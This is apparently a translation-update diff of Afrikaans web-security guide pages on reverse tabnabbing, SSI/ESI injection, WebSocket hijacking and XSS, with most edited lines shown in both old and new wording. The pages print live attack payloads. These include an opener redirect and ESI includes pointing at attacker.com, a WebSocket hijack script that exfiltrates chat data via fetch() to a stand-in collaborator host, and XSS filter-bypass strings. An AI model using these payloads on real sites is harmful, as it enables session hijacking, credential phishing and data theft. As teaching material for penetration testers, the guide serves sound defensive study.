In 'n situasie waar 'n **aanvaller** die **`href`** argument van 'n **`<a`** etiket met die attribuut **`target="_blank" rel="opener"`** kan **beheer**, wat deur 'n slagoffer geklik gaan word, kan die **aanvaller** hierdie **skakel** na 'n web wat onder sy beheer is (n **kwaadwillige** **webwerf**) wys. Dan, sodra die **slagoffer op die skakel klik** en toegang tot die aanvaller se webwerf verkry, sal hierdie **kwaadwillige** **webwerf** in staat wees om die **oorspronklike** **bladsy** via die javascript objek **`window.opener`** te **beheer**.\
As die bladsy nie **`rel="opener"` het nie, maar `target="_blank"` bevat, en ook nie `rel="noopener"` het nie, kan dit ook kwesbaar wees.
'n Gereelde manier om hierdie gedrag te misbruik, sou wees om die **ligging van die oorspronklike web** te **verander** via `window.opener.location = https://attacker.com/victim.html` na 'n web wat deur die aanvaller beheer word en wat **soos die oorspronklike een lyk**, sodat dit die **inlog** **vorm** van die oorspronklike webwerf kan **imiteer** en vir die gebruiker om geloofsbriewe kan vra.
@ -25,9 +25,9 @@ Skakel tussen ouer en kind bladsye wanneer voorkoming attribuut gebruik word:
## Voorbeelde <a href="#examples" id="examples"></a>
Skep die volgende bladsye in 'n gids en draai 'n webbediener met `python3 -m http.server`\
Skep die volgende bladsye in 'n gids en voer 'n webbediener uit met `python3 -m http.server`\
Dan, **toegang** `http://127.0.0.1:8000/`vulnerable.html, **klik** op die skakel en let op hoe die **oorspronklike** **webwerf** **URL** **verander**.
```markup:vulnerable.html
```html:vulnerable.html
<!DOCTYPE html>
<html>
<body>
@ -37,7 +37,7 @@ Dan, **toegang** `http://127.0.0.1:8000/`vulnerable.html, **klik** op die skakel
</html>
```
```markup:malicious.html
```html:malicious.html
<!DOCTYPE html>
<html>
<body>
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</html>
```
```markup:malicious_redir.html
```html:malicious_redir.html
<!DOCTYPE html>
<html>
<body>
@ -64,7 +64,7 @@ In die scenario waar 'n **cross-origin** toegang plaasvind (toegang oor verskill
- **`opener.frames`**: Hierdie eienskap bied toegang tot alle iframe-elemente binne die huidige venster.
- **`opener.length`**: Die aantal iframe-elemente wat in die huidige venster teenwoordig is, word deur hierdie eienskap teruggegee.
- **`opener.opener`**: 'n Verwysing na die venster wat die huidige venster geopen het, kan deur hierdie eienskap verkry word.
- **`opener.parent`**: Hierdie eienskap gee die ouerventers van die huidige venster terug.
- **`opener.parent`**: Hierdie eienskap gee die ouervenster van die huidige venster terug.
- **`opener.self`**: Toegang tot die huidige venster self word deur hierdie eienskap verskaf.
- **`opener.top`**: Hierdie eienskap gee die boonste blaaivenster terug.

View File

@ -6,7 +6,7 @@
**(Inleiding geneem uit** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)**
SSI (Server Side Includes) is riglyne wat in **HTML-bladsye geplaas word, en op die bediener geëvalueer word** terwyl die bladsye bedien word. Dit laat jou toe om **dynamies gegenereerde inhoud** by 'n bestaande HTML-bladsy te voeg, sonder om die hele bladsy via 'n CGI-program of ander dinamiese tegnologie te bedien.\
SSI (Server Side Includes) is riglyne wat in HTML-bladsye geplaas word, en op die bediener geëvalueer word terwyl die bladsye bedien word. Dit laat jou toe om dinamies gegenereerde inhoud by 'n bestaande HTML-bladsy te voeg, sonder om die hele bladsy via 'n CGI-program of ander dinamiese tegnologie te bedien.\
Byvoorbeeld, jy mag 'n riglyn in 'n bestaande HTML-bladsy plaas, soos:
`<!--#echo var="DATE_LOCAL" -->`
@ -15,7 +15,7 @@ En, wanneer die bladsy bedien word, sal hierdie fragment geëvalueer word en met
`Dinsdag, 15-Jan-2013 19:28:54 EST`
Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n kwessie van hoeveel van die bladsy staties is, en hoeveel elke keer herbereken moet word wanneer die bladsy bedien word. SSI is 'n uitstekende manier om klein stukke inligting, soos die huidige tyd - hierbo getoon, by te voeg. Maar as 'n meerderheid van jou bladsy gegenereer word op die tydstip dat dit bedien word, moet jy na 'n ander oplossing soek.
Die besluit oor wanneer om SSI te gebruik, en wanneer om jou bladsy heeltemal deur 'n program te laat genereer, is gewoonlik 'n kwessie van hoeveel van die bladsy staties is, en hoeveel elke keer herbereken moet word wanneer die bladsy bedien word. SSI is 'n uitstekende manier om klein stukke inligting by te voeg, soos die huidige tyd - soos hierbo getoon. Maar as 'n meerderheid van jou bladsy gegenereer word op die tydstip dat dit bedien word, moet jy na 'n ander oplossing soek.
Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uitbreidings **`.shtml`, `.shtm` of `.stm`** gebruik, maar dit is nie die enigste geval nie.
@ -56,7 +56,7 @@ Jy kan die teenwoordigheid van SSI aflei as die webtoepassing lêers met die uit
```
## Edge Side Inclusion
Daar is 'n probleem **met die kasinligting of dinamiese toepassings** aangesien die **inhoud** vir die volgende keer wat die inhoud opgehaal word, **verskillend** mag wees. Dit is waarvoor **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
Daar is 'n probleem **met die kas van inligting of dinamiese toepassings** aangesien die inhoud **verskillend** mag wees vir die volgende keer dat die inhoud opgehaal word. Dit is waarvoor **ESI** gebruik word, om aan te dui met ESI-tags die **dinamiese inhoud wat gegenereer moet word** voordat die kasweergawe gestuur word.\
As 'n **aanvaller** in staat is om 'n **ESI-tag** binne die kasinhoud te **injekteer**, kan hy in staat wees om **arbitraire inhoud** in die dokument te **injekteer** voordat dit aan die gebruikers gestuur word.
### ESI Detection
@ -65,7 +65,7 @@ Die volgende **kop** in 'n antwoord van die bediener beteken dat die bediener ES
```
Surrogate-Control: content="ESI/1.0"
```
As jy hierdie kop nie kan vind nie, **kan die bediener dalk steeds ESI gebruik**.\
As jy hierdie kop nie kan vind nie, **kan die bediener steeds ESI gebruik**.\
'n **blindeksploitasi benadering kan ook gebruik word** aangesien 'n versoek na die aanvallers bediener moet aankom:
```javascript
// Basic detection
@ -95,16 +95,16 @@ hell<!--esi-->o
- **Vars**: Ondersteun die `<esi:vars>` riglyn. Nuttig om XSS-filters te omseil
- **Cookie**: Dokumentkoekies is beskikbaar vir die ESI-enjin
- **Opwaartse Koppe Vereis**: Surrogaat toepassings sal nie ESI-verklarings verwerk nie tensy die opwaartse toepassing die koppe verskaf
- **Gashere-toegestaanlys**: In hierdie geval is ESI-includes slegs moontlik vanaf toegelate bediener-gashere, wat SSRF, byvoorbeeld, slegs teen daardie gashere moontlik maak
- **Gashere-toegestaanlys**: In hierdie geval is ESI-includes slegs moontlik vanaf toegelate bediener-gashere, wat SSRF byvoorbeeld slegs teen daardie gashere moontlik maak
| **Sagteware** | **Includes** | **Vars** | **Koekies** | **Opwaartse Koppe Vereis** | **Gashere-toegestaanlys** |
| :----------------------------: | :----------: | :------: | :---------: | :------------------------: | :-----------------------: |
| Squid3 | Ja | Ja | Ja | Ja | Nee |
| Varnish Cache | Ja | Nee | Nee | Ja | Ja |
| Fastly | Ja | Nee | Nee | Nee | Ja |
| Akamai ESI-toetsbediener (ETS) | Ja | Ja | Ja | Nee | Nee |
| NodeJS esi | Ja | Ja | Ja | Nee | Nee |
| NodeJS nodesi | Ja | Nee | Nee | Nee | Opsioneel |
| Squid3 | Ja | Ja | Ja | Ja | Nee |
| Varnish Cache | Ja | Nee | Nee | Ja | Ja |
| Fastly | Ja | Nee | Nee | Nee | Ja |
| Akamai ESI Toetsbediener (ETS) | Ja | Ja | Ja | Nee | Nee |
| NodeJS esi | Ja | Ja | Ja | Nee | Nee |
| NodeJS nodesi | Ja | Nee | Nee | Nee | Opsioneel |
#### XSS
@ -112,7 +112,7 @@ Die volgende ESI-riglyn sal 'n arbitrêre lêer binne die antwoord van die bedie
```xml
<esi:include src=http://attacker.com/xss.html>
```
#### Omseil kliënt XSS-beskerming
#### Om klante XSS-beskerming te omseil
```xml
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
@ -139,11 +139,11 @@ Use <!--esi--> to bypass WAFs:
#### Private Local File
Moet dit nie verwar met 'n "Local File Inclusion" nie:
```markup
```html
<esi:include src="secret.txt">
```
#### CRLF
```markup
```html
<esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
```
#### Open Redirect
@ -183,7 +183,7 @@ Dit sal foutopsporing-inligting wat in die antwoord ingesluit is, stuur:
```
### ESI + XSLT = XXE
Dit is moontlik om **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksis in ESI te gebruik deur net die param **`dca`** waarde as **`xslt`** aan te dui. Dit kan toelaat om **XSLT** te misbruik om 'n XML Eksterne Entiteit kwesbaarheid (XXE) te skep en te misbruik:
Dit is moontlik om **`eXtensible Stylesheet Language Transformations (XSLT)`** sintaksis in ESI te gebruik deur net die param **`dca`** waarde as **`xslt`** aan te dui. Dit mag toelaat om **XSLT** te misbruik om 'n XML Eksterne Entiteit kwesbaarheid (XXE) te skep en te misbruik:
```xml
<esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
```

View File

@ -1,22 +1,22 @@
# WebSocket-aanvalle
# WebSocket Aanvalle
{{#include ../banners/hacktricks-training.md}}
## Wat is WebSockets
WebSocket-verbindinge word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
WebSocket verbindings word gevestig deur 'n aanvanklike **HTTP** handdruk en is ontwerp om **langdurig** te wees, wat bidireksionele boodskappe op enige tyd moontlik maak sonder die behoefte aan 'n transaksionele stelsel. Dit maak WebSockets veral voordelig vir toepassings wat **lae latensie of bediener-geïnisieerde kommunikasie** vereis, soos lewendige finansiële datastrome.
### Vestiging van WebSocket-verbindinge
### Vestiging van WebSocket Verbindings
'n Gedetailleerde verduideliking oor die vestiging van WebSocket-verbindinge kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket-verbindinge word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
'n Gedetailleerde verduideliking oor die vestiging van WebSocket verbindings kan [**hier**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc) verkry word. In samevatting, WebSocket verbindings word gewoonlik geïnisieer via kliënt-kant JavaScript soos hieronder getoon:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws")
```
Die `wss` protokol dui 'n WebSocket-verbinding aan wat met **TLS** beveilig is, terwyl `ws` 'n **onbeveiligde** verbinding aandui.
Tydens die verbindingseinstelling word 'n handdruk tussen die blaaier en die bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaaiers 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:
Tydens die verbindingseestelling word 'n handdruk tussen die blaaiers en die bediener oor HTTP uitgevoer. Die handdrukproses behels dat die blaaiers 'n versoek stuur en die bediener antwoordgee, soos in die volgende voorbeelde geïllustreer:
Blaaier stuur 'n handdrukversoek:
Blaaiers stuur 'n handdrukversoek:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Die bediener se handdrukrespons:
Server se handdruk antwoord:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
@ -37,20 +37,20 @@ Die verbinding bly oop vir boodskapswisseling in beide rigtings sodra dit gevest
**Belangrike Punten van die WebSocket Handshake:**
- Die `Connection` en `Upgrade` headers dui die begin van 'n WebSocket handshake aan.
- Die `Sec-WebSocket-Version` header dui die verlangde WebSocket protokol weergawe aan, gewoonlik `13`.
- 'n Base64-gecodeerde ewekansige waarde word in die `Sec-WebSocket-Key` header gestuur, wat verseker dat elke handshake uniek is, wat help om probleme met kasproxies te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die antwoord nie deur 'n verkeerd geconfigureerde bediener of kas gegenereer is nie.
- Die `Sec-WebSocket-Accept` header in die bediener se antwoord is 'n hash van die `Sec-WebSocket-Key`, wat die bediener se bedoeling om 'n WebSocket verbinding te open, verifieer.
- Die `Connection` en `Upgrade` koptekste dui die begin van 'n WebSocket-handshake aan.
- Die `Sec-WebSocket-Version` kopteks dui die verlangde WebSocket-protokolweergawe aan, gewoonlik `13`.
- 'n Base64-gecodeerde ewekansige waarde word in die `Sec-WebSocket-Key` kopteks gestuur, wat verseker dat elke handshake uniek is, wat help om probleme met kasproxies te voorkom. Hierdie waarde is nie vir outentisering nie, maar om te bevestig dat die antwoord nie deur 'n verkeerd geconfigureerde bediener of kas gegenereer is nie.
- Die `Sec-WebSocket-Accept` kopteks in die bediener se antwoord is 'n hash van die `Sec-WebSocket-Key`, wat die bediener se bedoeling om 'n WebSocket-verbinding te open, verifieer.
Hierdie kenmerke verseker dat die handshake proses veilig en betroubaar is, wat die pad baan vir doeltreffende regte-tyd kommunikasie.
Hierdie kenmerke verseker dat die handshake-proses veilig en betroubaar is, wat die pad baan vir doeltreffende regstreekse kommunikasie.
### Linux console
### Linux-konsol
Jy kan `websocat` gebruik om 'n rou verbinding met 'n websocket te vestig.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Of om 'n websocat bediener te skep:
Of om 'n websocat-bediener te skep:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
@ -82,14 +82,14 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur
**Cross-site WebSocket kaping**, ook bekend as **cross-origin WebSocket kaping**, word geïdentifiseer as 'n spesifieke geval van **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** wat WebSocket handdrukke beïnvloed. Hierdie kwesbaarheid ontstaan wanneer WebSocket handdrukke slegs via **HTTP koekies** outentiseer sonder **CSRF tokens** of soortgelyke sekuriteitsmaatreëls.
Aanvallers kan dit benut deur 'n **kwaadwillige webblad** te huisves wat 'n cross-site WebSocket verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing behandel, wat die gebrek aan CSRF beskerming in die sessie hanteringsmeganisme benut.
Aanvallers kan dit benut deur 'n **kwaadaardige webblad** te huisves wat 'n cross-site WebSocket verbinding met 'n kwesbare toepassing inisieer. Gevolglik word hierdie verbinding as deel van die slagoffer se sessie met die toepassing behandel, wat die gebrek aan CSRF beskerming in die sessie hanteringsmeganisme benut.
### Eenvoudige Aanval
Let daarop dat wanneer 'n **websocket** verbinding **gestig** word, die **koekie** na die bediener **gestuur** word. Die **bediener** mag dit gebruik om elke **spesifieke** **gebruiker** met sy **websocket** **sessie gebaseer op die gestuurde koekie** te **verbind**.
As die **websocket** **bediener** **terugstuur die geskiedenis van die gesprek** van 'n gebruiker as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal **automaties** gestuur word om die slagoffer gebruiker te magtig) **stuur** "**READY**" in staat wees om die geskiedenis van die **gesprek** te **herwin**.
```markup
As die **websocket** **bediener** **terugstuur die geskiedenis van die gesprek** van 'n gebruiker as 'n boodskap met "**READY"** gestuur word, dan sal 'n **eenvoudige XSS** wat die verbinding tot stand bring (die **koekie** sal outomaties **gestuur** word om die slagoffer gebruiker te magtig) **stuur** "**READY**" in staat wees om die geskiedenis van die **gesprek** te **herwin**.
```html
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
@ -105,7 +105,7 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
```
### Cross Origin + Cookie with a different subdomain
In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitraire Javascript in 'n subdomein** van die domein waar die web socket kommunikasie plaasgevind het, te **voer**. Omdat dit 'n **subdomein** was, is die **cookie** **gestuur**, en omdat die **Websocket nie die Origin behoorlik nagegaan het nie**, was dit moontlik om daarmee te kommunikeer en **tokens van dit te steel**.
In hierdie blogpos [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) het die aanvaller daarin geslaag om **arbitraire Javascript in 'n subdomein** van die domein waar die web socket kommunikasie plaasgevind het, te **voer**. Omdat dit 'n **subdomein** was, is die **cookie** **gestuur**, en omdat die **Websocket nie die Origin behoorlik nagegaan het nie**, was dit moontlik om met dit te kommunikeer en **tokens van dit te steel**.
### Stealing data from user
@ -129,7 +129,7 @@ xhttp.send()
return messageEvent
}
```
Nou laai die `wsHook.js`-lêer af van [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) en **stoor dit binne die gids met die web lêers**.\
Nou laai die `wsHook.js` lêer af van [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) en **stoor dit binne die gids met die web lêers**.\
Deur die webtoepassing bloot te stel en 'n gebruiker te laat aansluit, sal jy in staat wees om die gestuurde en ontvangde boodskappe via websocket te steel:
```javascript
sudo python3 -m http.server 80
@ -144,7 +144,7 @@ Aangesien Web Sockets 'n mekanisme is om **data na die bediener- en kliëntkant
## **WebSocket Smuggling**
Hierdie kwesbaarheid kan jou toelaat om **omgekeerde proxy beperkings te omseil** deur hulle te laat glo dat 'n **websocket kommunikasie gevestig is** (selfs al is dit nie waar nie). Dit kan 'n aanvaller toelaat om **verborgene eindpunte te benader**. Vir meer inligting kyk na die volgende bladsy:
Hierdie kwesbaarheid kan jou toelaat om **omgekeerde proxybeperkings te omseil** deur hulle te laat glo dat 'n **websocket kommunikasie gevestig is** (selfs al is dit nie waar nie). Dit kan 'n aanvaller toelaat om **verborgene eindpunte te benader**. Vir meer inligting, kyk na die volgende bladsy:
{{#ref}}
h2c-smuggling.md

View File

@ -5,7 +5,7 @@
1. Kontroleer of **enige waarde wat jy beheer** (_parameters_, _pad_, _koptekste_?, _koekies_?) **reflekteer** in die HTML of **gebruik** word deur **JS** kode.
2. **Vind die konteks** waar dit reflekteer/gebruik word.
3. As dit **reflekteer**
1. Kontroleer **watter simbole kan jy gebruik** en berei die payload voor, afhangende daarvan:
1. Kontroleer **watter simbole jy kan gebruik** en berei die payload voor, afhangende daarvan:
1. In **rauwe HTML**:
1. Kan jy nuwe HTML-tags skep?
2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
@ -23,7 +23,7 @@
3. Is jou invoer in sjabloon letterlik \`\`?
4. Kan jy beskermings omseil?
4. Javascript **funksie** wat **uitgevoer** word
1. Jy kan die naam van die funksie wat uitgevoer moet word aandui. bv.: `?callback=alert(1)`
1. Jy kan die naam van die funksie wat uitgevoer moet word, aandui. bv.: `?callback=alert(1)`
4. As **gebruik**:
1. Jy kan 'n **DOM XSS** misbruik, let op hoe jou invoer beheer word en of jou **gecontroleerde invoer deur enige sink gebruik word.**
@ -38,7 +38,7 @@ debugging-client-side-js.md
Om suksesvol 'n XSS te misbruik, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat reflekteer** in die webblad.
- **Intermediêr reflekteer**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad reflekteer, kan jy 'n **Reflekteerde XSS** misbruik.
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, in die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
- **Gestoor en reflekteer**: As jy vind dat 'n waarde wat deur jou beheer word, op die bediener gestoor word en elke keer reflekteer wanneer jy 'n bladsy toegang, kan jy 'n **Gestoor XSS** misbruik.
- **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** misbruik.
## Konteks
@ -56,7 +56,7 @@ As jou invoer binne die waarde van die eienskap van 'n tag reflekteer, kan jy pr
1. Om te **ontsnap van die eienskap en van die tag** (dan sal jy in die rauwe HTML wees) en nuwe HTML-tag te skep om te misbruik: `"><img [...]`
2. As jy **kan ontsnap van die eienskap maar nie van die tag nie** (`>` is geënkodeer of verwyder), afhangende van die tag kan jy **'n gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
3. As jy **nie kan ontsnap van die eienskap nie** (`"` word geënkodeer of verwyder), dan, afhangende van **watter eienskap** jou waarde reflekteer in **of jy die hele waarde of net 'n deel daarvan beheer**, sal jy in staat wees om dit te misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
4. As jou invoer reflekteer binne "**onuitputbare tags**" kan jy die **`accesskey`** truuk probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieurswese nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
@ -69,7 +69,7 @@ Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
In hierdie geval word jou invoer weerspieël tussen **`<script> [...] </script>`** etikette van 'n HTML-bladsy, binne 'n `.js`-lêer of binne 'n attribuut wat die **`javascript:`** protokol gebruik:
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingeslote `</script>` etiket binne die HTML-kode is nie.
- As dit weerspieël word tussen **`<script> [...] </script>`** etikette, selfs al is jou invoer binne enige soort aanhalings, kan jy probeer om `</script>` in te voeg en uit hierdie konteks te ontsnap. Dit werk omdat die **blaaier eers die HTML-etikette sal ontleed** en dan die inhoud, daarom sal dit nie opgemerk dat jou ingevoegde `</script>` etiket binne die HTML-kode is nie.
- As dit weerspieël word **binne 'n JS-string** en die laaste truuk werk nie, sal jy moet **uitgaan** van die string, **uitvoer** jou kode en **herbou** die JS-kode (as daar enige fout is, sal dit nie uitgevoer word nie):
- `'-alert(1)-'`
- `';-alert(1)//`
@ -92,9 +92,9 @@ js-hoisting.md
### Javascript Funksie
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld wat in die natuur gesien kan word, is iets soos: `?callback=callbackFunc`.
Verskeie webbladsye het eindpunte wat **die naam van die funksie om uit te voer as parameter aanvaar**. 'n Algemene voorbeeld om in die natuur te sien is iets soos: `?callback=callbackFunc`.
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te verander** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is, probeer om uitgevoer te word, is **om die param waarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
![](<../../images/image (711).png>)
@ -132,7 +132,7 @@ dom-xss.md
### **Universele XSS**
Hierdie tipe XSS kan **oorals** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie tipe **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
Hierdie soort XSS kan **oral** gevind word. Hulle hang nie net af van die kliënt se uitbuiting van 'n webtoepassing nie, maar op **enige** **konteks**. Hierdie soort **arbitrêre JavaScript uitvoering** kan selfs misbruik word om **RCE** te verkry, **arbitrêre** **lêers** in kliënte en bedieners te **lees**, en meer.\
Sommige **voorbeelde**:
{{#ref}}
@ -147,7 +147,7 @@ server-side-xss-dynamic-pdf.md
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
## Invoeging binne rou HTML
## Invoeging binne ruwe HTML
Wanneer jou invoer **binne die HTML bladsy** weerspieël word of jy kan ontsnap en HTML kode in hierdie konteks inspuit, is die **eerste** ding wat jy moet doen om te kyk of jy `<` kan misbruik om nuwe etikette te skep: Probeer net om daardie **karakter** te **weerspieël** en kyk of dit **HTML gekodeer** of **verwyder** is of of dit **weerspieël word sonder veranderinge**. **Slegs in die laaste geval sal jy in staat wees om hierdie geval te benut**.\
Vir hierdie gevalle hou ook **in gedagte** [**Kliëntkant Sjabloon Inspuiting**](../client-side-template-injection-csti.md)**.**\
@ -161,22 +161,22 @@ alert(1)
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
```
Maar, as tags/kenmerke swart/blanklys gebruik word, sal jy **brute-force watter tags** jy kan skep.\
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force kenmerke/gebeurtenisse** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
Maar, as tags/attributes swart/blanklysiening gebruik word, sal jy **brute-force watter tags** jy kan skep.\
Sodra jy **gevind het watter tags toegelaat word**, sal jy **brute-force attributes/events** binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
### Tags/Gebeurtenisse brute-force
### Tags/Events brute-force
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die gebeurtenisse** met die geldige tags (in dieselfde webblad klik op _**Kopieer gebeurtenisse na klembord**_ en volg dieselfde prosedure as voorheen).
Gaan na [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) en klik op _**Kopieer tags na klembord**_. Stuur dan al hulle met Burp intruder en kyk of enige tags nie as kwaadwillig deur die WAF ontdek is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy **brute force al die events** met die geldige tags (in dieselfde webblad klik op _**Kopieer events na klembord**_ en volg dieselfde prosedure as voorheen).
### Pasgemaakte tags
### Aangepaste tags
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **pasgemaakte tag** te **skep** en JS-kode met die `onfocus` kenmerk uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
As jy nie enige geldige HTML-tag gevind het nie, kan jy probeer om 'n **aangepaste tag** te **skep** en JS-kode met die `onfocus` attribuut uit te voer. In die XSS-versoek moet jy die URL met `#` eindig om die bladsy **op daardie objek te fokus** en die kode te **uitvoer**:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
### Swartlys Bypasses
As 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
As daar 'n tipe swartlys gebruik word, kan jy probeer om dit te omseil met 'n paar dom truuks:
```javascript
//Random capitalization
<script> --> <ScrIpT>
@ -245,7 +245,7 @@ As jy die kwesbaarheid wil benut en jy moet die **gebruiker 'n skakel of 'n vorm
As jy net dink dat **dit onmoontlik is om 'n HTML-tag met 'n attribuut te skep om JS-kode uit te voer**, moet jy [**Hangende Markup**](../dangling-markup-html-scriptless-injection/index.html) nagaan omdat jy die kwesbaarheid **kan benut** **sonder** om **JS**-kode uit te voer.
## Inspuit in HTML-tag
## Invoeging binne HTML-tag
### Binne die tag/ontsnapping van attribuutwaarde
@ -267,12 +267,12 @@ As jy **nie van die tag kan ontsnap nie**, kan jy nuwe attribuut binne die tag s
```
### Binnen die attribuut
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word geënkodeer of verwyder), afhangende van **watter attribuut** jou waarde in **ge-reflekteer word of jy net 'n deel daarvan beheer** sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit in staat stel om arbitrêre kode uit te voer wanneer dit geklik word.\
Selfs al **kan jy nie ontsnap uit die attribuut nie** (`"` word gekodeer of verwyder), afhangende van **watter attribuut** jou waarde in **ge-reflekteer word of jy net 'n deel daarvan beheer**, sal jy dit kan misbruik. By **voorbeeld**, as jy 'n gebeurtenis soos `onclick=` beheer, sal jy dit kan laat uitvoer van arbitrêre kode wanneer dit geklik word.\
Nog 'n interessante **voorbeeld** is die attribuut `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
**Omseil binne gebeurtenis met HTML-kodering/URL-kodering**
